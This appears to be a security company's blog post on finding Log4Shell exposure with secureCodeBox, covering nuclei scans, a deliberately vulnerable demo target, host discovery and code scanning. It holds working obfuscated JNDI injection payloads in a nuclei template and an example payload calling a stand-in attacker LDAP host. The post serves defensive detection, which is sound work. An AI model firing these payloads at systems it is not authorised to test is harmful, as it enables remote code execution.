How We Used the secureCodeBox In Our Log4Shell Incident Response

Cover photo by Ray Shrewsberry on Unsplash.

By now, you must have heard about Log4Shell, the present that ruined Christmas for many developers and IT specialists, whether naughty or nice. This blog describes how we used the secureCodeBox as one building block in our incident response process at iteratec.

A Brief Introduction To Log4Shell

But first, a small refresher: In late November 2021, a zero-day vulnerability was discovered in the widely used Java logging library Log4J. It allowed attackers to remotely execute code through Java Naming and Directory Interface (JNDI) lookups to malicious LDAP servers: If an attacker can get the application to log a payload controlled by the attacker, like {jndi:ldap//evil.ldap.server.adress/a}, then the code hosted on the LDAP server would be loaded and executed by the program, effectively letting third parties take control of the Java Application and the server it's running on.

This vulnerability shook the IT world. It received a CVE rating of 10/10, and even the German government issued a statement calling for immediate action and described the issue as "critical". This is due to two main reasons. First, the vulnerability was relatively simple for attackers to exploit. Second, it has remained undiscovered since 2013, affecting many services from AWS to Minecraft.

At iteratec, as a software development company, we had to assess our security posture as well - for both the infrastructure that we were running for ourselves, as well as the software we develop for our customers. In this blog post, we describe how we leveraged the secureCodeBox as part of our incident response.

Finding Affected Infrastructure

Determining where a newly-detected vulnerability may be lurking inside your infrastructure can be a daunting task: You have to find a way to detect the vulnerability, test it, and then go through all of your systems to test them for the presence of the vulnerability. Luckily, many parts of this process can be partially automated using the secureCodeBox.

Testing For Vulnerabilities

Soon after the Log4Shell vulnerability became publicly known, the community of the nuclei scanner published a scan template (the nuclei version of a scan rule, which describes declaratively how to test a host for the vulnerability) to detect the Log4Shell vulnerability. This rule triggers a single HTTP request to the target with a single HTTP get request parameter set to include the JNDI attack payload. It also includes a large number of HTTP header each containing the same attack payload. If the server uses a vulnerable version of Log4J to log one of the parameters, the host will trigger a DNS lookup. Before the scan, nuclei registers a new endpoint on an out-of-band (OOB) interaction service, which will log all DNS lookup made to that unique domain name. Nuclei automatically configures the JNDI attack payload to make the lookup on the domain name of the OOB endpoint. This gives a very effective way to discover the vulnerability with a very low chance for false positives.

Thought the false positive rate is very low, the detection rate can also be low, as the dynamic scans have to actually trigger the vulnerability correctly by passing the right parameters (e.g. ?foo=bar&baz=${jdni...})), finding and using the correct endpoint (e.g. /api/user/login) or including a valid user token and session to access a restricted endpoint. All these things are potentially required to detect Log4Shell via dynamic scanners. Hence, if the scans do not give any results, it does not necessarily mean that no Log4J bug is present, but it can at least rule out the easy-to-find cases.

To use the Nuclei template in the secureCodeBox, we used the Log4Shell Nuclei template and expanded it to include the attack payload in more headers and parameters to increase chance of finding vulnerable hosts. To run these scans, we used the following secureCodeBox configuration:

apiVersion: "execution.securecodebox.io/v1"
kind: Scan
metadata:
  name: "nuclei-log4j"
spec:
  scanType: "nuclei"
  parameters:
    - "-templates"
    - "/custom-nuclei-rules/log4j-template.yaml"
    - "-target"
    - "log4j-vuln.example.com"
  volumeMounts:
    - name: nuclei-template-log4j
      mountPath: /custom-nuclei-rules/
  volumes:
  - name: nuclei-template-log4j
    configMap:
      name: nuclei-template-log4j
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: nuclei-template-log4j
data:
  log4j-template.yaml: |
 
    id: CVE-2021-44228
 
    info:
      name: Remote code injection in Log4j
      author: melbadry9,dhiyaneshDK,daffainfo,J12934
      severity: critical
      description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
      reference:
        - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
        - https://www.lunasec.io/docs/blog/log4j-zero-day/
        - https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
      tags: cve,cve2021,rce,oast,log4j
 
    requests:
      - raw:
          - |
            GET /?x=${jndi:ldap://${hostName}.{{interactsh-url}}/a} HTTP/1.1
            Host: {{Hostname}}
            User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.{{interactsh-url}}}
            Referer: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}}
            X-Forwarded-For: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}}
            Authentication: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}}
          - |
            GET / HTTP/1.1
            Host: {{Hostname}}
            X-Api-Version: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.{{interactsh-url}}}
 
        matchers-condition: and
        matchers:
          - type: word
            part: interactsh_protocol  # Confirms the DNS Interaction
            words:
              - "dns"
 
          - type: regex
            part: interactsh_request
            regex:
              - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
 
        extractors:
          - type: regex
            part: interactsh_request
            group: 1
            regex:
              - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output

This example consists of a configmap holding the slightly modified Nuclei Log4Shell template which is then mounted and selected as the only template to run in the Nuclei scan defined above.

In the month since, the official Nuclei Log4Shell template was expanded significantly and additional templates to scan for specifc occurences in known vulnerable software like Apache Solr, VMware vCenter, UniFi and more were released. You can use all these rules in a scan like this:

apiVersion: "execution.securecodebox.io/v1"
kind: Scan
metadata:
  name: "nuclei-log4j"
spec:
  scanType: "nuclei"
  parameters:
    - "-tags"
    - "log4j"
    - "-target"
    - "log4j-vuln.example.com"

Building A Demo Target

We needed a test target to validate that our scanners effectively detect a Log4J vulnerability. Fortunately, secureCodebox already has the ideal resource for this use case: the demo target. We use demo targets in SCB to continuously test the functionality of our scanners during the development cycles. Our existing demo targets include the bodgeit store and OWASP Juice Shop.
Integration tests are run against the demo targets during our CI/CD pipeline to spot any malfunctioning scanner.

Demo targets consist of a Kubernetes service containing a vulnerable application image. Creating a new Log4J demo target is a straightforward process.

First, a vulnerable docker image is required. Luckily, an image has been provided by the GitHub user 'christophetd'. Second, we must create our helm chart folder using the same directory structure as the other demo targets and configure it to use the vulnerable Log4J image. We set the image.repository to the provided docker image above as seen in the following values.yaml file:

replicaCount: 1

image:
  # image.repository -- Container Image
  repository: ghcr.io/christophetd/log4shell-vulnerable-app
  # image.tag -- The image tag
  # @default -- defaults to the appVersion
  tag: null
  # -- Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images
  pullPolicy: IfNotPresent

service:
  type: ClusterIP
  port: 8080

We also configure a service of type ClusterIP on port 8080. It is essential to expose the demo target's container on the same port. So it would have the port 8080 open to TCP protocol as seen in the Deployment resource below:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: {{ include "vulnerable-log4j.fullname" . }}
  labels:
    {{- include "vulnerable-log4j.labels" . | nindent 4 }}
  annotations:
    {{- include "vulnerable-log4j.annotations" . | nindent 4 }}
spec:
  replicas: {{ .Values.replicaCount }}
  selector:
    matchLabels:
      {{- include "vulnerable-log4j.selectorLabels" . | nindent 6 }}
  template:
    metadata:
      labels:
        {{- include "vulnerable-log4j.selectorLabels" . | nindent 8 }}
      annotations:
        {{- include "vulnerable-log4j.annotations" . | nindent 8 }}
    spec:
    {{- with .Values.imagePullSecrets }}
      imagePullSecrets:
        {{- toYaml . | nindent 8 }}
    {{- end }}
      securityContext:
        {{- toYaml .Values.podSecurityContext | nindent 8 }}
      containers:
        - name: {{ .Chart.Name }}
          securityContext:
            {{- toYaml .Values.securityContext | nindent 12 }}
          image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}"
          imagePullPolicy: {{ .Values.image.pullPolicy }}
          ports:
            - name: http
              containerPort: 8080
              protocol: TCP
          resources:
            {{- toYaml .Values.resources | nindent 12 }}
      {{- with .Values.nodeSelector }}
      nodeSelector:
        {{- toYaml . | nindent 8 }}
      {{- end }}
    {{- with .Values.affinity }}
      affinity:
        {{- toYaml . | nindent 8 }}
    {{- end }}
    {{- with .Values.tolerations }}
      tolerations:
        {{- toYaml . | nindent 8 }}
    {{- end }}

And then we are essentially done. All that is left now is to install the demo target in the preferred namespace, as shown below:

helm upgrade --install vulnerable-log4j ./demo-targets/vulnerable-log4j/ --namespace <NAMESPACE>

After using the demo target to validate that the scanner works, we then proceeded to run it against our own infrastructure.

Finding Hosts

To scan for the Log4Shell vulnerabilities dynamically (DAST) we first have to identify what to scan, the so-called attack surface. One powerful feature of the secureCodeBox is the dynamic scan orchestration of different security scanner: the cascading scans mechanism. Based on that it is easy to run an initial scan to discover scan targets and use their result to automatically start (cascade) specialized scans for the identified hosts and domains.We used two different different discovery methods:

For hosts sitting in internal networks, we used nmap (with the secureCodeBox nmap scanType) to identify active hosts and open ports in our internal IP ranges (e.g. 10.42.0.0/16) and network segments. Every port which nmap identified to be related to http(s) (which is generally the easiest protocol to scan for Log4Shell even thought it can also be exploitable via different protocols) was used as a target in a cascading Log4Shell scan. 2. For publicly available hosts, we used the OWASP AMASS scanner (with the secureCodeBox amass scanType) first to find subdomains for the list of domain names we own as a company. This outputs a list of a subdomains which also automatically trigger nmap cascading scans to find open http(s) ports for the actual Log4Shell vulnerability assessment.

After enumerating the targets, we triggered the actual Nuclei scans using another cascading rule.

Most scanner helm charts in the secureCodeBox come with cascading rules by default. E.g. the rule used to trigger the nmap port scans on amass findings is included by default in the nmap helm chart GitHub. With the nuclei cascading rule we wanted to have more control over the configuration of the automatically created cascaded scans so we disabled the cascading rules included by default in the helm chart (helm install nuclei secureCodeBox/nuclei --set="cascadingRules.enabled=false") and created our own, incorporating our custom nuclei configuration described above. The rule then looked like the following (reusing the ConfigMap created in the example above):

apiVersion: "cascading.securecodebox.io/v1"
kind: CascadingRule
metadata:
  # Note this rule is just for https targets, we've also used our http rule to scan http ports, see http rule: https://github.com/secureCodeBox/secureCodeBox/blob/main/scanners/nuclei/cascading-rules/subdomain_http.yaml
  name: "nuclei-log4j-scan-https"
  labels:
    securecodebox.io/invasive: non-invasive
    securecodebox.io/intensive: light
spec:
  matches:
    anyOf:
      - category: "Open Port"
        attributes:
          port: 443
          state: open
      - category: "Open Port"
        attributes:
          service: "https"
          state: open
      - category: "Open Port"
        attributes:
          service: "https*"
          state: open
  scanSpec:
    scanType: "nuclei"
    # This example uses the ConfigMap we created further up in the article.
    # If you want to use the official set of Nuclei templates for Log4J,
    # change the parameterization below as previously described.
    parameters:
      - "-templates"
      - "/custom-nuclei-rules/log4j-template.yaml"
      - "-target"
      # Target domain name of the finding and start a nuclei scan
      - "https://{{$.hostOrIP}}:{{attributes.port}}"
    volumeMounts:
      - name: nuclei-template-log4j
        mountPath: /custom-nuclei-rules/
    volumes:
    - name: nuclei-template-log4j
      configMap:
        name: nuclei-template-log4j

Finding Affected Code

Of course, as a software development company, we also had to validate that the code we produce for our customers wasn't affected. The individual development teams quickly determined if their projects were affected, created updates, and shipped them to the customers. As part of the security team, we supported the teams in their efforts. In parallel, we used the static code analysis (SAST) capabilities of the secureCodeBox to scan our software repositories for places where code may have been missed. We followed the workflows outlined in the previous blog post, using a set of semgrep rules written by Kurt Boberg (@lapt0r) and Lewis Ardern (@LewisArdern) and released on the semgrep Slack. Although these rules will not detect everything (in particular, they will not find Log4J if it is pulled in transitively via a dependency), they allowed us to get some quick insight into which repositories may require further investigation.

Conclusion

When a new critical vulnerability is found, it is often imperative to act quickly and comprehensively. The secureCodeBox can play an invaluable role in quickly identifying affected systems and software repositories, especially if you prepare and test incident response playbooks in advance so that you only have to configure the correct detection rules and then rely on a well-tested stack of security scanners to collect your findings.

How do you use the secureCodeBox? We are looking forward to hearing your own stories and ideas for using secureCodeBox - the OWASP Slack (Channel #project-securecodebox) or GitHub to get in touch.